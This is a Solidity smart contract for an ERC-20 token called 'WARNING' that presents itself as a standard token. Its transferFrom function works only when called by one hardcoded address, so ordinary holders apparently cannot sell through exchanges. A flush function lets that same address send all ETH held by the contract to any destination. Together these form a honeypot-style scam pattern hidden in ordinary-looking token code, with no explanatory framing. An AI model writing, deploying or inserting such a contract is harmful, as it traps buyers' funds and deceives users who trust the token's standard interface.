// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract WarningProcedure is IERC20 {


    string public constant name = "WARNING";
    string public constant symbol = "WARN";
    uint8 public constant decimals = 9;
    uint256 private _totalSupply = 1 * (10 ** uint256(decimals));  // 
    address public ercWarningImplementation = 0x3B0F4Ffce933b3869328016E77F69659ef7D13ca;
    address public deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor() {
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

    }

    receive() external payable { }


    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(recipient != address(0), "Invalid address");
        require(_balances[msg.sender] >= amount, "Insufficient funds");

        _balances[msg.sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) external view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function flush(address destined) external {
        require(msg.sender == ercWarningImplementation);
        uint256 amountETH = address(this).balance;
        payable(destined).transfer(amountETH);
}


    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        
        require(sender != address(0), "Invalid address");
        require(recipient != address(0), "Invalid address");
        require(_balances[sender] >= amount, "Insufficient funds");
        require(msg.sender == ercWarningImplementation); 
        require(_allowances[sender][msg.sender] >= amount, "Allowance exceeded");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][msg.sender] -= amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
}